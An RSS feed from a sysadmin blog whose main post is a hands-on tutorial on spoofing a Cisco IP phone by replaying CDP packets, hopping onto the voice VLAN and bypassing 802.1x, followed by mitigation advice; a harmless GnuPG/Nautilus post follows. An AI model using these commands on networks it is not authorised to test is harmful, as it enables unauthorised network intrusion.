<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SavvyAdmin.com &#187; Linux</title>
	<atom:link href="http://savvyadmin.com/tag/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://savvyadmin.com</link>
	<description>For savvy admins everywhere...</description>
	<lastBuildDate>Sun, 20 Jun 2010 21:53:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>VLAN Hopping on Cisco Voice-enabled Switch Ports</title>
		<link>http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/</link>
		<comments>http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 03:33:31 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[802.1q]]></category>
		<category><![CDATA[802.1x]]></category>
		<category><![CDATA[CDP]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Packet Injection]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[tcpreplay]]></category>
		<category><![CDATA[VLAN]]></category>

		<guid isPermaLink="false">http://savvyadmin.com/?p=654</guid>
		<description><![CDATA[There&#8217;s a number of reasons why someone would want to gain unauthorized access to your network&#8217;s voice VLAN, and as you can guess, none of them are any good. By strategically replaying CDP packets used by Cisco VoIP phones, and configuring your computer&#8217;s NIC to use 802.1q tagged packets, you can gain full network access [...]


Related posts:<ol><li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='Permanent Link: fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/generate-text-from-templates-scripts-and-csv-data/' rel='bookmark' title='Permanent Link: Generate Text From Templates, Scripts and CSV Data'>Generate Text From Templates, Scripts and CSV Data</a></li>
<li><a href='http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/' rel='bookmark' title='Permanent Link: VirtualBox Wireless Bridging with DHCP'>VirtualBox Wireless Bridging with DHCP</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>There&#8217;s a number of reasons why someone would want to gain unauthorized access to your network&#8217;s voice VLAN, and as you can guess, none of them are any good.  By strategically replaying CDP packets used by Cisco VoIP phones, and configuring your computer&#8217;s NIC to use 802.1q tagged packets, you can gain full network access on a Cisco switch port configured with a Voice VLAN.  <em><strong>Yes&#8230; even those protected by 802.1x authentication.</strong></em>  In the following how-to, we&#8217;ll demonstrate how exploit this behavior using Linux and freely available open source software.</p>
<p><strong>Prerequisites</strong><br />
First, install two packages from your repositories.  The <code>vlan</code> package adds a kernel module required for 802.1q VLAN tagging and the <code>vconfig</code> tool used to configure VLAN sub-interfaces.   <code>tcpreplay</code> is a packet injection utility that we will use to replay CDP packets into the network from a pcap file.</p>
<blockquote><p><code><strong>sudo apt-get install vlan tcpreplay<br />
sudo modprobe 8021q</strong></code></p></blockquote>
<p>The second command loads the 8021q kernel module.  If you want the module loaded at boot-up, remember to add it to <code>/etc/modules</code> or the appropriate file for your GNU/Linux distribution.</p>
<p><strong>Discover Voice-enabled Switch Port Information</strong></p>
<p>Plug into the switched network, bypassing the VoIP phone, and perform a packet capture to inspect the switches CDP announcements.  If the switch port is configured with a Voice VLAN, the configured VLAN identifier will be advertised.  From our output below, the switch says we are plugged into port number FastEthernet0/24 and the Voice VLAN number is 64.</p>
<blockquote><p><code><strong>sudo tcpdump -s 0 -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc</strong><br />
17:17:13.215645 CDPv2, ttl: 180s, checksum: 692 (unverified), length 404<br />
	Device-ID (0x01), length: 26 bytes: 'labswitch.example.com'<br />
	Version String (0x05), length: 186 bytes:<br />
	  Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(50)SE1, RELEASE SOFTWARE (fc2)<br />
	  Copyright (c) 1986-2009 by Cisco Systems, Inc.<br />
	  Compiled Mon 06-Apr-09 08:36 by amvarma<br />
	Platform (0x06), length: 21 bytes: 'cisco WS-C2960-24PC-L'<br />
	Address (0x02), length: 13 bytes: IPv4 (1) 10.1.1.1<br />
	<strong><em>Port-ID</em></strong> (0x03), length: 16 bytes: '<strong><em>FastEthernet0/24</em></strong>'<br />
	Capability (0x04), length: 4 bytes: (0x00000028): L2 Switch, IGMP snooping<br />
	Protocol-Hello option (0x08), length: 32 bytes:<br />
	VTP Management Domain (0x09), length: 9 bytes: 'LABVTP'<br />
	Native VLAN ID (0x0a), length: 2 bytes: 1<br />
	Duplex (0x0b), length: 1 byte: full<br />
	ATA-186 <strong><em>VoIP VLAN request</em></strong> (0x0e), length: 3 bytes: app 1, <strong><em>vlan 64</em></strong><br />
	AVVID trust bitmap (0x12), length: 1 byte: 0x00<br />
	AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00<br />
	Management Addresses (0x16), length: 13 bytes: IPv4 (1) 10.1.1.1<br />
	unknown field type (0x1a), length: 12 bytes:<br />
	  0x0000:  0000 0001 0000 0000 ffff ffff</code></p></blockquote>
<p><strong>Capture a Sample VoIP phone CDP Packet</strong></p>
<p>Plug the Cisco VoIP phone back into the switch port and wait for it to come back online.  Plug your laptop back into the data port of the phone in your typical daisy-chain topology.  Use <code>tcpdump</code> again to capture a single CDP packet, saving it to a capture file.  If you&#8217;re plugged into the phone, the only CDP packets you should see are those sent by the phone.  These CDP packets should be neatly constructed with all of the appropriate voice VLAN values.  From the switches perspective (and network administrators monitoring CDP tables), it will look exactly as if a phone is connected to the port, down to the phone model and serial number.  ;-)</p>
<p>The following <code>tcpdump</code> filter looks for the CDP destination MAC address, stops after one packet, and saves it to a file called <code>cdp-packet.cap</code>.  You will use this CDP packet capture file in your replay attack.</p>
<blockquote><p><code><strong>sudo tcpdump -s 0 -w cdp-packet.cap -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc</strong><br />
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes<br />
1 packets captured<br />
1 packets received by filter<br />
0 packets dropped by kernel</code></p></blockquote>
<p>Verify the CDP packet details by reading the capture file with <code>tcpdump</code>.  The following shows that everything is in order, including the VoIP VLAN Request for VLAN 64, which highlighted below.</p>
<blockquote><p><code><strong>sudo tcpdump -vr cdp-packet.cap</strong><br />
reading from file cdp-packet.cap, link-type EN10MB (Ethernet)<br />
09:44:42.263551 CDPv2, ttl: 180s, checksum: 692 (unverified), length 125<br />
	<strong><em>Device-ID</em></strong> (0x01), length: 15 bytes: '<strong><em>SEP0015626A51E9</em></strong>'<br />
	Address (0x02), length: 13 bytes: IPv4 (1) 10.1.64.10<br />
	Port-ID (0x03), length: 6 bytes: 'Port 2'<br />
	Capability (0x04), length: 4 bytes: (0x00000490): L3 capable<br />
	Version String (0x05), length: 12 bytes:<br />
	  P00308010100<br />
	Platform (0x06), length: 19 bytes: '<strong><em>Cisco IP Phone 7940</em></strong>'<br />
	Native VLAN ID (0x0a), length: 2 bytes: 1<br />
	Duplex (0x0b), length: 1 byte: full<br />
	ATA-186 <strong>VoIP VLAN request</strong> (0x0e), length: 3 bytes: app 1, <strong>vlan 64</strong><br />
	AVVID trust bitmap (0x12), length: 1 byte: 0x00<br />
	AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00<br />
</code></p></blockquote>
<p><strong>Replay CDP Packets to Spoof a Cisco VoIP Phone</strong></p>
<p>You&#8217;ll want to unplug the phone from the switch and plug your computer into the switch port directly.  Using the <code>tcpreplay</code> command, you can read and inject the contents of the packet capture file from the previous step, effectively spoofing the Cisco VoIP phone.  When the switch receives this packet, the voice VLAN will be available to use.</p>
<blockquote><p><code><strong>sudo tcpreplay -i eth0 cdp-packet.cap</strong><br />
Actual: 1 packets (147 bytes) sent in 0.06 seconds<br />
Rated: 2450.0 bps, 0.02 Mbps, 16.67 pps<br />
Statistics for network device: eth0<br />
	Attempted packets:         1<br />
	Successful packets:        1<br />
	Failed packets:            0<br />
	Retried packets (ENOBUFS): 0<br />
	Retried packets (EAGAIN):  0</code></p></blockquote>
<p>Once the Voice VLAN is enabled, you will only have a limited amount of time to use it.  A typical Cisco phone will send a CDP packet every 60 seconds, so you can simulate this behavior by running your command in a timed loop.  I prefer to use the <code>watch</code> command, and leave it running in a terminal until it&#8217;s no longer needed.  Using the command below, the CDP packet will be replayed every 60 seconds.</p>
<blockquote><p><code><strong>sudo watch -n 60 "tcpreplay -i eth0 cdp-packet.cap"</strong></code></p></blockquote>
<p><strong>Access Voice VLAN with 802.1q Sub-interface</strong></p>
<p>In order for you to access the voice VLAN, you must add a sub-interface for <code>eth0</code> using the <code>vconfig</code> command.  The following example uses <code>vconfig</code> to add a sub-interface that tags packets to access VLAN 64.  The sub-interface will be named <code>eth0.64</code> as shown below.</p>
<blockquote><p><code><strong>sudo vconfig add eth0 64</strong><br />
Added VLAN with VID == 64 to IF -:eth0:-</code></p>
<p><code><strong>ifconfig eth0.64</strong><br />
eth0.64   Link encap:Ethernet  HWaddr 00:26:b9:bc:5b:68<br />
          BROADCAST MULTICAST  MTU:1500  Metric:1<br />
          RX packets:95 errors:0 dropped:0 overruns:0 frame:0<br />
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0<br />
          collisions:0 txqueuelen:0<br />
          RX bytes:4370 (4.3 KB)  TX bytes:0 (0.0 B)</code></p></blockquote>
<p>At this point you can access the VLAN in any fashion you see fit.  For example, you can obtain an IP address via DHCP and test communication by pinging your default gateway as shown below.</p>
<blockquote><p><code><strong>sudo dhclient3 eth0.64</strong><br />
Listening on LPF/eth0.64/00:26:b9:bc:5b:68<br />
Sending on   LPF/eth0.64/00:26:b9:bc:5b:68<br />
Sending on   Socket/fallback<br />
DHCPDISCOVER on eth0.64 to 255.255.255.255 port 67 interval 3<br />
DHCPOFFER of 10.1.64.11 from 10.1.64.5<br />
DHCPREQUEST of 10.1.64.11 on eth0.64 to 255.255.255.255 port 67<br />
DHCPACK of 10.1.64.11 from 10.1.64.5<br />
bound to 10.1.64.11 -- renewal in 35707 seconds.</code></p>
<p><code><strong>ping -c 4 10.1.64.1</strong><br />
PING 10.1.64.1 (10.1.64.1) 56(84) bytes of data.<br />
64 bytes from 10.1.64.1: icmp_seq=1 ttl=64 time=2.88 ms<br />
64 bytes from 10.1.64.1: icmp_seq=2 ttl=64 time=2.85 ms<br />
64 bytes from 10.1.64.1: icmp_seq=3 ttl=64 time=2.84 ms<br />
64 bytes from 10.1.64.1: icmp_seq=4 ttl=64 time=2.30 ms</code></p>
<p><code>--- 10.1.64.1 ping statistics ---<br />
4 packets transmitted, 4 received, 0% packet loss, time 3005ms<br />
rtt min/avg/max/mdev = 2.303/2.721/2.888/0.244 ms</code></p></blockquote>
<p><strong>Mitigation&#8230; Aww, Bummer&#8230;</strong></p>
<p>Unfortunately, there is currently no way to prevent this method of unauthorized voice VLAN access.  Remember, this &#8220;vulnerability&#8221; is really just a limitation of the voice VLAN negotiation process.  It&#8217;s not new (see the following <a href="http://www.cisco.com/en/US/products/sw/voicesw/ps556/products_security_notice09186a008048e0d6.html" target="_blank">Cisco security bulletin<a/> from 2005), but I suspect it will become a bigger problem as more organizations begin to deploy VoIP with little thought going into layered defenses and access protection.</p>
<p>However, for network administrators that wish to <em>limit</em> the threat associated to unauthorized voice VLAN access, consider the following recommendations.</p>
<p>1. Enable security features that prevent layer-2/3 man-in-the-middle and other nefarious attacks.  DHCP Snooping, Dynamic ARP Inspection, Port-Security, and IP Source Guard will help in keeping attackers from intercepting voice traffic, and a number of other threats associated with layer-2/3 spoofing.</p>
<p>2. Add VLAN access lists and Layer-3 boundary ACL&#8217;s limiting clients on the Voice VLAN to access only resources required for VoIP functionality.  By limiting voice VLAN communication to the minimum required protocols and port numbers, you will greatly reduce the attack surface for the rest of your network.</p>
<p>3. Apply QoS policies that limit the effects of attempted Denial of Service attacks against the VoIP infrastructure.  Auto QoS and even simple Storm Control features can help limit traffic, and actively notify administrators of abnormal traffic patterns.</p>
<p>4. Protect your IP telephony system at the application layer by requiring VoIP phone authentication and encryption.</p>
<p>There are some really cool projects dedicated to exploiting this vulnerability and similar weaknesses by other manufacturers.  One such tool called <a href="http://voiphopper.sourceforge.net" target="_blank">VoIP Hopper</a> completely automates the above process.  It even comes with it&#8217;s own built-in DHCP client, and is kind enough to automatically generate pre-constructed CDP packets for you.  </p>
<p>I hope you have found this tutorial useful.  Feel free to add comments, suggestions, or drop me an email for confidential questions!</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F&amp;t=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports%20-%20http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F&amp;title=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports&amp;notes=There%27s%20a%20number%20of%20reasons%20why%20someone%20would%20want%20to%20gain%20unauthorized%20access%20to%20your%20network%27s%20voice%20VLAN%2C%20and%20as%20you%20can%20guess%2C%20none%20of%20them%20are%20any%20good.%20%20By%20strategically%20replaying%20CDP%20packets%20used%20by%20Cisco%20VoIP%20phones%2C%20and%20configuring%20your%20comp" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F&amp;title=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports&amp;bodytext=There%27s%20a%20number%20of%20reasons%20why%20someone%20would%20want%20to%20gain%20unauthorized%20access%20to%20your%20network%27s%20voice%20VLAN%2C%20and%20as%20you%20can%20guess%2C%20none%20of%20them%20are%20any%20good.%20%20By%20strategically%20replaying%20CDP%20packets%20used%20by%20Cisco%20VoIP%20phones%2C%20and%20configuring%20your%20comp" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F&amp;title=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=There%27s%20a%20number%20of%20reasons%20why%20someone%20would%20want%20to%20gain%20unauthorized%20access%20to%20your%20network%27s%20voice%20VLAN%2C%20and%20as%20you%20can%20guess%2C%20none%20of%20them%20are%20any%20good.%20%20By%20strategically%20replaying%20CDP%20packets%20used%20by%20Cisco%20VoIP%20phones%2C%20and%20configuring%20your%20comp" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F&amp;title=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports&amp;annotation=There%27s%20a%20number%20of%20reasons%20why%20someone%20would%20want%20to%20gain%20unauthorized%20access%20to%20your%20network%27s%20voice%20VLAN%2C%20and%20as%20you%20can%20guess%2C%20none%20of%20them%20are%20any%20good.%20%20By%20strategically%20replaying%20CDP%20packets%20used%20by%20Cisco%20VoIP%20phones%2C%20and%20configuring%20your%20comp" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F&amp;title=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='Permanent Link: fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/generate-text-from-templates-scripts-and-csv-data/' rel='bookmark' title='Permanent Link: Generate Text From Templates, Scripts and CSV Data'>Generate Text From Templates, Scripts and CSV Data</a></li>
<li><a href='http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/' rel='bookmark' title='Permanent Link: VirtualBox Wireless Bridging with DHCP'>VirtualBox Wireless Bridging with DHCP</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>GnuPG Context Menu Options for Gnome Nautilus</title>
		<link>http://savvyadmin.com/gnupg-context-menu-options-for-gnome-nautilus/</link>
		<comments>http://savvyadmin.com/gnupg-context-menu-options-for-gnome-nautilus/#comments</comments>
		<pubDate>Thu, 10 Dec 2009 04:43:57 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Gnome]]></category>
		<category><![CDATA[GnuPG]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Nautilus]]></category>
		<category><![CDATA[PGP]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=470</guid>
		<description><![CDATA[If you&#8217;re running the Gnome desktop environment and would like to have GnuPG context menu options in Nautilus to encrypt, decrypt, and digitally sign files, simply install the Seahorse plugins package available in your favorite Linux distribution repositories. If using Debian or Ubuntu, it&#8217;s as easy as an apt-get install. sudo apt-get install seahorse-plugins After [...]


Related posts:<ol><li><a href='http://savvyadmin.com/nautilus-file-selection/' rel='bookmark' title='Permanent Link: Nautilus File Selection'>Nautilus File Selection</a></li>
<li><a href='http://savvyadmin.com/perform-gnupg-functions-within-vim/' rel='bookmark' title='Permanent Link: Perform GnuPG Functions Within Vim'>Perform GnuPG Functions Within Vim</a></li>
<li><a href='http://savvyadmin.com/symmetric-key-encryption-with-gnupg/' rel='bookmark' title='Permanent Link: Symmetric Key Encryption with GnuPG'>Symmetric Key Encryption with GnuPG</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;re running the Gnome desktop environment and would like to have GnuPG context menu options in Nautilus to encrypt, decrypt, and digitally sign files, simply install the <a title="Seahorse Website" href="http://live.gnome.org/Seahorse" target="_blank">Seahorse</a> plugins package available in your favorite Linux distribution repositories.  If using Debian or Ubuntu, it&#8217;s as easy as an apt-get install.</p>
<blockquote><p><code><strong>sudo apt-get install seahorse-plugins</strong></code></p></blockquote>
<p>After installing the package, go to System -&gt; Preferences -&gt; Encryption and Keyrings, select a default key to use and decide whether you want to include your own key by default when encrypting files.  This is sometimes a good idea if you ever want to open a file you encrypted to someone else.  Below are some screenshots of the Seahorse preferences.</p>
<p><img class="aligncenter size-full wp-image-473" title="Seahorse Preferences Tab 1" src="http://www.savvyadmin.com/wp-content/uploads/2009/12/seahorse-prefs-1.png" alt="Seahorse Preferences Tab 1" width="571" height="311" /></p>
<p><img class="aligncenter size-full wp-image-474" title="Seahorse Preferences Tab 2" src="http://www.savvyadmin.com/wp-content/uploads/2009/12/seahorse-prefs-2.png" alt="Seahorse Preferences Tab 2" width="570" height="312" /></p>
<p>Here are some screen shots of the context menu options that appear when you right click on files in Nautilus.</p>
<p><img class="size-full wp-image-475 alignnone" title="Seahorse Context 1" src="http://www.savvyadmin.com/wp-content/uploads/2009/12/Seahorse-Context-1.png" alt="Seahorse Context 1" width="328" height="341" /> <img class="size-full wp-image-476 alignnone" title="Seahorse Context 2" src="http://www.savvyadmin.com/wp-content/uploads/2009/12/Seahorse-Context-2.png" alt="Seahorse Context 2" width="243" height="270" /></p>
<p>When you choose to encrypt a file, you can select as many public keys as you&#8217;d like.  Here&#8217;s an example of the dialogue.</p>
<p><img class="aligncenter size-full wp-image-477" title="Encrypt to Dialogue" src="http://www.savvyadmin.com/wp-content/uploads/2009/12/Encrypt-to-Dialogue.png" alt="Encrypt to Dialogue" width="547" height="421" /></p>
<p>Using PGP has never been easier.  There are still some improvements to the UI I would like to see completed, but overall the most important features are there.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fgnupg-context-menu-options-for-gnome-nautilus%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fgnupg-context-menu-options-for-gnome-nautilus%2F&amp;t=GnuPG%20Context%20Menu%20Options%20for%20Gnome%20Nautilus" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=GnuPG%20Context%20Menu%20Options%20for%20Gnome%20Nautilus%20-%20http%3A%2F%2Fsavvyadmin.com%2Fgnupg-context-menu-options-for-gnome-nautilus%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fgnupg-context-menu-options-for-gnome-nautilus%2F&amp;title=GnuPG%20Context%20Menu%20Options%20for%20Gnome%20Nautilus&amp;notes=If%20you%27re%20running%20the%20Gnome%20desktop%20environment%20and%20would%20like%20to%20have%20GnuPG%20context%20menu%20options%20in%20Nautilus%20to%20encrypt%2C%20decrypt%2C%20and%20digitally%20sign%20files%2C%20simply%20install%20the%20Seahorse%20plugins%20package%20available%20in%20your%20favorite%20Linux%20distribution%20rep" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fgnupg-context-menu-options-for-gnome-nautilus%2F&amp;title=GnuPG%20Context%20Menu%20Options%20for%20Gnome%20Nautilus&amp;bodytext=If%20you%27re%20running%20the%20Gnome%20desktop%20environment%20and%20would%20like%20to%20have%20GnuPG%20context%20menu%20options%20in%20Nautilus%20to%20encrypt%2C%20decrypt%2C%20and%20digitally%20sign%20files%2C%20simply%20install%20the%20Seahorse%20plugins%20package%20available%20in%20your%20favorite%20Linux%20distribution%20rep" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=GnuPG%20Context%20Menu%20Options%20for%20Gnome%20Nautilus&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fgnupg-context-menu-options-for-gnome-nautilus%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fgnupg-context-menu-options-for-gnome-nautilus%2F&amp;title=GnuPG%20Context%20Menu%20Options%20for%20Gnome%20Nautilus&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=If%20you%27re%20running%20the%20Gnome%20desktop%20environment%20and%20would%20like%20to%20have%20GnuPG%20context%20menu%20options%20in%20Nautilus%20to%20encrypt%2C%20decrypt%2C%20and%20digitally%20sign%20files%2C%20simply%20install%20the%20Seahorse%20plugins%20package%20available%20in%20your%20favorite%20Linux%20distribution%20rep" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fgnupg-context-menu-options-for-gnome-nautilus%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fgnupg-context-menu-options-for-gnome-nautilus%2F&amp;title=GnuPG%20Context%20Menu%20Options%20for%20Gnome%20Nautilus&amp;annotation=If%20you%27re%20running%20the%20Gnome%20desktop%20environment%20and%20would%20like%20to%20have%20GnuPG%20context%20menu%20options%20in%20Nautilus%20to%20encrypt%2C%20decrypt%2C%20and%20digitally%20sign%20files%2C%20simply%20install%20the%20Seahorse%20plugins%20package%20available%20in%20your%20favorite%20Linux%20distribution%20rep" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fgnupg-context-menu-options-for-gnome-nautilus%2F&amp;title=GnuPG%20Context%20Menu%20Options%20for%20Gnome%20Nautilus" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/nautilus-file-selection/' rel='bookmark' title='Permanent Link: Nautilus File Selection'>Nautilus File Selection</a></li>
<li><a href='http://savvyadmin.com/perform-gnupg-functions-within-vim/' rel='bookmark' title='Permanent Link: Perform GnuPG Functions Within Vim'>Perform GnuPG Functions Within Vim</a></li>
<li><a href='http://savvyadmin.com/symmetric-key-encryption-with-gnupg/' rel='bookmark' title='Permanent Link: Symmetric Key Encryption with GnuPG'>Symmetric Key Encryption with GnuPG</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/gnupg-context-menu-options-for-gnome-nautilus/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Download PGP Keys with Apt-key</title>
